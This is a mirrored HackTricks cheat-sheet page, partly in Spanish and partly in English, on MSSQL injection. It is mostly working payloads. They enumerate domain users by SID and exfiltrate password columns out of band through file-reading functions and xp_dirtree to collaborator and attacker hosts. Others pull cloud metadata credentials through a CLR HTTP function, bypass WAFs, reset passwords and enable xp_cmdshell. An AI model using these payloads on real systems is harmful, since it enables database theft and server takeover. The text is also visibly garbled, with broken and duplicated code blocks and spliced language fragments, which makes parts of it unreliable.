mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
307 lines
15 KiB
Markdown
307 lines
15 KiB
Markdown
# Inyección MSSQL
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
## Enumeración de Active Directory
|
|
|
|
Puede ser posible **enumerar usuarios de dominio a través de una inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones MSSQL:
|
|
|
|
* **`SELECT DEFAULT_DOMAIN()`**: Obtener el nombre de dominio actual.
|
|
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrador'))`**: Si conoces el nombre del dominio (_DOMINIO_ en este ejemplo) esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
|
|
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
|
|
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer usuario regular creado). Luego puedes imaginar que puedes hacer fuerza bruta en los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
|
|
```python
|
|
def get_sid(n):
|
|
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
|
user = struct.pack('<I', int(n))
|
|
user = user.hex()
|
|
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
|
```
|
|
## **Vectores de Error Alternativos**
|
|
|
|
Las inyecciones SQL basadas en errores suelen tener construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones suelen ser bloqueadas por los WAFs. Para evitar esto, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenen un error de conversión de tipo de datos en los datos buscados.
|
|
|
|
Algunos ejemplos de tales funciones:
|
|
|
|
* `SUSER_NAME()`
|
|
* `USER_NAME()`
|
|
* `PERMISSIONS()`
|
|
* `DB_NAME()`
|
|
* `FILE_NAME()`
|
|
* `TYPE_NAME()`
|
|
* `COL_NAME()`
|
|
|
|
Ejemplo de uso de la función `USER_NAME()`:
|
|
```
|
|
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
|
```
|
|
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
|
|
|
|
## SSRF
|
|
|
|
Estos trucos de SSRF [fueron tomados de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
|
|
### `fn_xe_file_target_read_file`
|
|
|
|
Requiere permiso de **`VIEW SERVER STATE`** en el servidor.
|
|
```
|
|
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
|
```
|
|
### `fn_get_audit_file`
|
|
|
|
Requiere el permiso **`CONTROL SERVER`**.
|
|
```
|
|
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_get_audit_file';
|
|
```
|
|
### `fn_trace_gettabe`
|
|
|
|
Requiere el permiso **`CONTROL SERVER`**.
|
|
```
|
|
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
|
```
|
|
|
|
```sql
|
|
# Check if you have it
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
|
# Or doing
|
|
Use master;
|
|
EXEC sp_helprotect 'fn_trace_gettabe';
|
|
```
|
|
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
|
|
|
Procedimientos almacenados como `xp_dirtree`, aunque no están documentados oficialmente por Microsoft, han sido descritos por otros en línea debido a su utilidad en operaciones de red dentro de MSSQL. Estos procedimientos suelen ser utilizados en la exfiltración de datos fuera de banda, como se muestra en varios [ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) y [publicaciones](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
|
|
|
|
El procedimiento almacenado `xp_dirtree`, por ejemplo, se utiliza para realizar solicitudes de red, pero está limitado solo al puerto TCP 445. El número de puerto no es modificable, pero permite la lectura desde recursos compartidos de red. El uso se demuestra en el script SQL a continuación:
|
|
```sql
|
|
DECLARE @user varchar(100);
|
|
SELECT @user = (SELECT user);
|
|
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
|
|
```
|
|
Es importante tener en cuenta que este método puede no funcionar en todas las configuraciones del sistema, como en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` en un `Windows Server 2016 Datacenter` con la configuración predeterminada.
|
|
|
|
Además, existen procedimientos almacenados alternativos como `master..xp_fileexist` y `xp_subdirs` que pueden lograr resultados similares. Más detalles sobre `xp_fileexist` se pueden encontrar en este [artículo de TechNet](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
|
|
|
|
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
|
|
|
Obviamente, también se podría utilizar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para obtener más información, **lea la sección relevante** en la página:
|
|
|
|
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
|
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
|
{% endcontent-ref %}
|
|
|
|
### Función Definida por el Usuario MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
|
|
|
Crear una UDF CLR (Función Definida por el Usuario de Tiempo de Ejecución de Lenguaje Común), que es código creado en cualquier lenguaje .NET y compilado en un DLL, para ser cargado en MSSQL para ejecutar funciones personalizadas, es un proceso que requiere acceso `dbo`. Esto significa que generalmente solo es factible cuando la conexión a la base de datos se realiza como `sa` o con un rol de Administrador.
|
|
|
|
Un proyecto de Visual Studio e instrucciones de instalación se proporcionan en [este repositorio de Github](https://github.com/infiniteloopltd/SQLHttp) para facilitar la carga del binario en MSSQL como un ensamblado CLR, lo que permite la ejecución de solicitudes HTTP GET desde MSSQL.
|
|
|
|
El núcleo de esta funcionalidad está encapsulado en el archivo `http.cs`, que utiliza la clase `WebClient` para ejecutar una solicitud GET y recuperar contenido como se ilustra a continuación:
|
|
```csharp
|
|
using System.Data.SqlTypes;
|
|
using System.Net;
|
|
|
|
public partial class UserDefinedFunctions
|
|
{
|
|
[Microsoft.SqlServer.Server.SqlFunction]
|
|
public static SqlString http(SqlString url)
|
|
{
|
|
var wc = new WebClient();
|
|
var html = wc.DownloadString(url.Value);
|
|
return new SqlString(html);
|
|
}
|
|
}
|
|
```
|
|
Antes de ejecutar el comando SQL `CREATE ASSEMBLY`, se recomienda ejecutar el siguiente fragmento de SQL para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables del servidor (visible a través de `select * from sys.trusted_assemblies;`):
|
|
```sql
|
|
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
|
```
|
|
Después de agregar con éxito la assembly y crear la función, el siguiente código SQL se puede utilizar para realizar solicitudes HTTP:
|
|
```sql
|
|
DECLARE @url varchar(max);
|
|
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
|
SELECT dbo.http(@url);
|
|
```
|
|
### **Explotación Rápida: Recuperación de Todo el Contenido de una Tabla en una Sola Consulta**
|
|
|
|
[Truco de aquí](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
|
|
|
Un método conciso para extraer todo el contenido de una tabla en una sola consulta implica utilizar la cláusula `FOR JSON`. Este enfoque es más conciso que usar la cláusula `FOR XML`, que requiere un modo específico como "raw". La cláusula `FOR JSON` es preferida por su brevedad.
|
|
|
|
Así es como se puede recuperar el esquema, las tablas y las columnas de la base de datos actual:
|
|
```sql
|
|
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
|
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
|
|
|
|
```sql
|
|
https://vuln.app/getItem?id=1'+y+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
|
```
|
|
|
|
### Retrieving the Current Query
|
|
|
|
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
|
|
|
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
|
|
|
|
```sql
|
|
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
|
```
|
|
|
|
To check if you have the VIEW SERVER STATE permission, the following query can be used:
|
|
|
|
```sql
|
|
```sql
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
```
|
|
|
|
```sql
|
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
|
```
|
|
```
|
|
|
|
## **Little tricks for WAF bypasses**
|
|
|
|
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
|
|
Non-standard whitespace characters: %C2%85 или %C2%A0:
|
|
|
|
```
|
|
### MSSQL Injection
|
|
|
|
#### Inyección MSSQL
|
|
|
|
El siguiente es un ejemplo de una inyección MSSQL en una URL:
|
|
|
|
`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`
|
|
```
|
|
|
|
Scientific (0e) and hex (0x) notation for obfuscating UNION:
|
|
|
|
```
|
|
- **Inyección MSSQL de Union-Based**
|
|
|
|
- URL vulnerable: `https://vuln.app/getItem?id=0eunion+select+null,@@version,null--`
|
|
|
|
- URL vulnerable: `https://vuln.app/getItem?id=0xunion+select+null,@@version,null--`
|
|
```
|
|
|
|
A period instead of a whitespace between FROM and a column name:
|
|
|
|
```
|
|
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
|
```
|
|
|
|
\N separator between SELECT and a throwaway column:
|
|
|
|
```
|
|
### MSSQL Injection
|
|
|
|
#### Inyección MSSQL
|
|
|
|
El siguiente es un ejemplo de una inyección MSSQL en una URL:
|
|
|
|
`https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--`
|
|
```
|
|
|
|
### WAF Bypass with unorthodox stacked queries
|
|
|
|
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
|
|
|
|
```sql
|
|
```sql
|
|
SELECT 'a' SELECT 'b'
|
|
```
|
|
|
|
```sql
|
|
SELECT 'a' SELECT 'b'
|
|
```
|
|
```
|
|
|
|
So for example, multiple queries such as:
|
|
|
|
```sql
|
|
```sql
|
|
use [tempdb]
|
|
create table [test] ([id] int)
|
|
insert [test] values(1)
|
|
select [id] from [test]
|
|
drop table[test]
|
|
```
|
|
```
|
|
|
|
Can be reduced to:
|
|
|
|
```sql
|
|
```sql
|
|
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
|
```
|
|
```
|
|
|
|
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
|
|
|
|
```
|
|
# Agregando un exec() inútil al final y haciendo que el WAF piense que esto no es una consulta válida
|
|
admina'union select 1,'admin','testtest123'exec('select 1')--
|
|
## Esto será:
|
|
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
|
exec('select 1')--'
|
|
|
|
# Utilizando consultas construidas de manera extraña
|
|
admin'exec('update[users]set[password]=''a''')--
|
|
## Esto será:
|
|
SELECT id, username, password FROM users WHERE username = 'admin'
|
|
exec('update[users]set[password]=''a''')--'
|
|
|
|
# O habilitando xp_cmdshell
|
|
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
## Esto será
|
|
select * from users where username = ' admin'
|
|
exec('sp_configure''show advanced option'',''1''reconfigure')
|
|
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
|
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|